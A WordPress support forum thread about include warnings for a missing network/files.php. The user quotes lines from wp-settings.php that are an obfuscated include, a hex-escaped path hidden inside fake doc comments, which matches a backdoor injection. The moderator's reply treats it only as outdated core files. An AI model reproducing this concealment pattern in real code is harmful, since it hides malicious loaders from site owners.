Title: Missing /network/files.php being called by wp-settings
Last modified: August 31, 2016

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# Missing /network/files.php being called by wp-settings

 *  Resolved [sekt](https://wordpress.org/support/users/sekt/)
 * (@sekt)
 * [10 years, 3 months ago](https://wordpress.org/support/topic/missing-networkfilesphp-being-called-by-wp-settings/)
 * Hi guys,
 * I’ve got a WordPress install that I haven’t paid much attention to for a while.
   It’s a blog with a few people set up as admins, so I’m not sure when it last 
   got an update.
 * I went to check it today and I’m getting the following error. I’ve searched around
   but can’t find a solution.
 *     ```
       Warning: include(/home2/aetheus/public_html/bottlesandchains/wp-admin/network/files.php) [function.include]: failed to open stream: No such file or directory in /home2/aetheus/public_html/bottlesandchains/wp-settings.php on line 277
   
       Warning: include() [function.include]: Failed opening '/home2/aetheus/public_html/bottlesandchains/wp-admin/network/files.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home2/aetheus/public_html/bottlesandchains/wp-settings.php on line 277
   
       Warning: Cannot modify header information - headers already sent by (output started at /home2/aetheus/public_html/bottlesandchains/wp-settings.php:277) in /home2/aetheus/public_html/bottlesandchains/wp-includes/pluggable.php on line 1179
       ```
   
 * There is no files.php in the network directory, and there doesn’t seem to be 
   one in the fresh copy of WP I just downloaded.
 * The lines in question in wp-settings.php are:
 *     ```
       /**
        **/include /* WordPress Object
        * */"\x2fhom\x652/a\x65the\x75s/p\x75bli\x63_ht\x6dl/b\x6fttl\x65san\x64cha\x69ns/\x77p-a\x64min\x2fnet\x77ork\x2ffil\x65s.p\x68p";/*@global object $wp
        * @since 2.0.0
        */
       $GLOBALS['wp'] = new WP();
       ```
   
 * Any help would be hugely appreciated.

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 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [10 years, 3 months ago](https://wordpress.org/support/topic/missing-networkfilesphp-being-called-by-wp-settings/#post-7051240)
 * That is correct, the file is not included with the current version of WordPress,
   so wp-settings.php (and perhaps more) might be out of date.
 * Try [downloading WordPress](https://wordpress.org/download/) again, access your
   server via [SFTP or FTP](https://codex.wordpress.org/FTP_Clients), or a file 
   manager in your hosting account’s control panel, and delete then replace your
   copies of everything on the server **except** the `wp-config.php` file and the`/
   wp-content/` directory with fresh copies from the download. This will effectively
   replace all of your core files without damaging your content and settings.
 * Some uploaders tend to be unreliable when overwriting files, so don’t forget 
   to delete the original files before replacing them.
 *  Thread Starter [sekt](https://wordpress.org/support/users/sekt/)
 * (@sekt)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/missing-networkfilesphp-being-called-by-wp-settings/#post-7051461)
 * Thanks James, worked a charm. Much appreciated!
 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/missing-networkfilesphp-being-called-by-wp-settings/#post-7051463)
 * You’re welcome!

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 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
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 * Last reply from: [James Huff](https://wordpress.org/support/users/macmanx/)
 * Last activity: [10 years, 2 months ago](https://wordpress.org/support/topic/missing-networkfilesphp-being-called-by-wp-settings/#post-7051463)
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